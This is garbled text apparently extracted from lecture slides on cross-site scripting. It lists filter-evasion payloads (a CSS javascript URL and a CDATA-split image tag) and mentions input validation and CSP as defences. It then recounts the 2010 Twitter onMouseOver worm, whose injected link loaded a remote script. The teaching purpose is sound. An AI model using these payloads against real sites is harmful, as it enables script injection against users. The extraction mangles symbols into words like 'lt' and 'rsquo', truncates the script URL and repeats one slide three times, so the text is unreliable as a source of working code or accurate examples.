remove any ltscriptgt ltscriptgt ltjavascriptgt ltjavascriptgt(often done on blogs)

But error prone there are a lot of ways to introduce JavaScriptltdiv style=background-image

url(javascriptalert(rsquoJavaScriptrsquo))gtltdivgt (CSS tags)ltXML ID=IgtltXgtltCgtlt[CDATA[ltIMG SRC=javas]]gt

lt[CDATA[criptalert(rsquoXSSrsquo)gt]]gt (XML-encoded data)

Input validation check that inputs (headers cookies query stringsform fields and hidden fields) are of expected form (whitelisting)

CSP server supplies a whitelist of the scripts that are allowed to appearon the page

28 29

The onMouseOver Twitter worm attack (Sept2010)

29 29

The onMouseOver Twitter worm attack (Sept2010)

I When tweeting a URL letrsquos say wwwbbccouk

I Twitter will automatically include a link to that URLlta href=wwwbbccoukgtwwwbbccoukltagt

I But Twitter didnrsquot protect properly and for the followingtweeted URLhttptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)

I Automatically included the following linklta

href=httptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)gtltagt

30 29

The onMouseOver Twitter worm attack (Sept2010)

29 29

The onMouseOver Twitter worm attack (Sept2010)

I When tweeting a URL letrsquos say wwwbbccouk

I Twitter will automatically include a link to that URLlta href=wwwbbccoukgtwwwbbccoukltagt

I But Twitter didnrsquot protect properly and for the followingtweeted URLhttptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)

I Automatically included the following linklta

href=httptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)gtltagt

30 29

The onMouseOver Twitter worm attack (Sept2010)

I When tweeting a URL letrsquos say wwwbbccouk

I Twitter will automatically include a link to that URLlta href=wwwbbccoukgtwwwbbccoukltagt

I But Twitter didnrsquot protect properly and for the followingtweeted URLhttptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)

I Automatically included the following linklta

href=httptcostyle=font-size999999999999px

onmouseover=$getScript(rsquohttprsquo)gtltagt

30 29